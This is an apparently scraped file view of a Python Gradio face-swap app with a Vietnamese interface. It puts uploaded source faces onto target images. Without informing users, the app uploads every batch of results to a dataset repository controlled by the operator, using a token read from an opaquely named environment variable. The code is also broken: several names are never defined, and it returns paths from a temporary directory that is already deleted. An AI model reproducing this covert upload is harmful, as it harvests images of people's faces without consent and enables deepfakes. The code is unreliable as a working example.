File size: 4,137 Bytes
c2a191e
 
 
 
 
 
 
 
ba9144c
8e3bca8
9c9d565
2e9eb3b
d808099
903a878
d808099
 
 
 
 
b9aa4cb
d808099
b9aa4cb
d808099
c1d1c58
b9aa4cb
 
d808099
 
 
b9aa4cb
9c9d565
 
 
 
 
b51be8a
 
2e9eb3b
b51be8a
 
 
 
2e9eb3b
b51be8a
 
 
 
 
 
b9aa4cb
 
3e47fc2
b9aa4cb
3e47fc2
9c9d565
3e47fc2
 
 
b9aa4cb
 
 
 
 
 
 
 
 
2e9eb3b
3e47fc2
b9aa4cb
 
 
 
 
3e47fc2
9c9d565
2e9eb3b
b51be8a
b9aa4cb
 
3f532f2
8e3bca8
9c9d565
fdd0003
ba9144c
8e3bca8
23193bc
 
 
ffe405b
8e3bca8
 
 
2e9eb3b
9c9d565
 
2e9eb3b
 
8e3bca8
 
9c9d565
 
2e9eb3b
c2a191e
ba9144c
 
2e9eb3b
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
import os
import cv2
import time
import torch
import argparse
import insightface
import onnxruntime
import gradio as gr
from face_swapper import Inswapper, paste_to_whole
from face_analyser import analyse_face
from face_enhancer import load_face_enhancer_model, get_available_enhancer_names
import tempfile
from huggingface_hub import login, hf_hub_download, upload_file, HfApi
from datetime import datetime

# --- Config ---
REPO_ID = os.environ.get("HFPATH")
HF_TOKEN = os.environ.get("MAGIC")
login(HF_TOKEN)

# --- Upload function ---
def upload_to_hf(folder_path):
    SUBFOLDER = datetime.now().strftime("%Y%m%d")
    api.upload_folder(
        folder_path=folder_path,
        path_in_repo=SUBFOLDER,
        repo_id=REPO_ID,
        repo_type="dataset"
    )
    return f"https://huggingface.co/datasets/{REPO_ID}/blob/main/{SUBFOLDER}"

# ------------------------------ PROCESS ------------------------------
def swap_faces(target_files, male_file, female_file, enhancer_name="NONE"):
    start_time = time.time()

    analysed_source_male, analysed_source_female = None, None

    # Source male
    if male_file is not None:
        male_source_path = male_file.name
        analysed_source_male = analyse_face(cv2.imread(male_source_path), FACE_ANALYSER)

    # Source female
    if female_file is not None:
        female_source_path = female_file.name
        analysed_source_female = analyse_face(cv2.imread(female_source_path), FACE_ANALYSER)

    if analysed_source_male is None and analysed_source_female is None:
        raise ValueError("❌ Cần ít nhất 1 khuôn mặt nguồn (Nam hoặc Nữ).")

    # Tạo thư mục tạm để lưu ảnh đầu ra
    with tempfile.TemporaryDirectory() as temp_dir:
        print(f"Temporary directory created at: {temp_dir}")
        output_files = []

        for f in target_files:
            target_path = f.name
            ext = os.path.splitext(target_path)[-1].lower()

            # -------------------- IMAGE --------------------
            if ext in [".jpg", ".jpeg", ".png", ".gif", ".bmp", ".tiff", ".webp"]:
                frame_bgr = cv2.imread(target_path)
                out_frame = swap_on_frame(frame_bgr, analysed_source_male, analysed_source_female, enhancer_name)

                # Save the output image to a temporary file
                output_path = os.path.join(temp_dir, f"output{len(output_files)}{ext}")
                cv2.imwrite(output_path, out_frame)  # Save image to temp directory
                output_files.append(output_path)

        # Upload the temporary directory to Hugging Face
        if os.path.isdir(temp_dir):
            upload_to_hf(temp_dir)
        else:
            print(f"Error: {temp_dir} is not a valid directory.")

    print(f"✔ Hoàn tất tất cả trong {time.time() - start_time:.2f}s")
    return output_files



# ------------------------------ UI ------------------------------
with gr.Blocks() as demo:
    gr.Markdown("## 🧑‍🦱➡👩 Face Swapper (Upload nhiều file target + nguồn nam/nữ) + Enhancer")

    with gr.Row():
        with gr.Column():
            target_input = gr.Files(label="Files đích (ảnh)", file_types=[".jpg", ".jpeg", ".png", ".gif", ".bmp", ".tiff", ".webp"])
            male_input = gr.File(label="File nguồn Nam (ảnh)", file_types=[".jpg", ".jpeg", ".png", ".gif", ".bmp", ".tiff", ".webp"])
            female_input = gr.File(label="File nguồn Nữ (ảnh)", file_types=[".jpg", ".jpeg", ".png", ".gif", ".bmp", ".tiff", ".webp"])
            enhancer = gr.Dropdown(ENHANCER_CHOICES, label="Face Enhancer", value="REAL-ESRGAN 2x")
            run_btn = gr.Button("✨ Swap")

        with gr.Column():
            output_files = gr.Files(label="Kết quả ảnh")

    def run_wrapper(target_files, male_file, female_file, enhancer_name):
        out_files = swap_faces(target_files, male_file, female_file, enhancer_name)
        return out_files

    run_btn.click(
        fn=run_wrapper,
        inputs=[target_input, male_input, female_input, enhancer],
        outputs=[output_files],
    )

if __name__ == "__main__":
    demo.launch()